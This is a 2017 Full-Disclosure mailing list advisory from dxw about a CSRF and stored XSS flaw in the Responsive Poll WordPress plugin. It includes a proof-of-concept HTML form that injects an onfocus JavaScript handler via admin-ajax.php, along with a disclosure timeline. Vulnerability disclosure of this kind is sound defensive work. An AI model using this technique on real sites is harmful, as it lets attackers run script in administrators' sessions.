lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 10 Jan 2017 13:27:27 +0000
From: dxw Security <>
Subject: [FD] CSRF/XSS in Responsive Poll allows unauthenticated attackers
	to do almost anything an admin can (WordPress plugin)

Software: Responsive Poll
Version: 1.6.4,1.7.4
Advisory report:
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can

This plugin lacks CSRF checks when updating polls meaning an unauthenticated attacker can cause anything to be modified in a poll. The plugin also fails to escape values put into HTML. The combination of these two means that an unauthenticated attacker can put arbitrary JavaScript into a page in /wp-admin/.

Proof of concept
Create a poll. We assume that the ID of this poll will be 1.
Visit the following page and click submit (in a real attack the form can be submitted without user interaction):
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
<input type=\"text\" name=\"poll_id\" value=\"1\">
<input type=\"text\" name=\"action\" value=\"update_poll\">
<input type=\"text\" name=\"name\" value=\"&quot; onfocus=&quot;alert(1)\">
<input type=\"submit\">
Then visit http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).

Disable the plugin until a new version is released that fixes this bug.

Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:

Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.


2015-09-15: Discovered
2016-12-07: Reported to vendor via
2016-12-07: Requested CVE
2016-12-15: Vendor first replied
2017-01-10: It’s been over 30 days and the vendor has not reported the bug fixed or indicated when they expect it to be fixed
2017-01-10: Advisory published

Discovered by dxw:
Tom Adams
Please visit for more information.

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists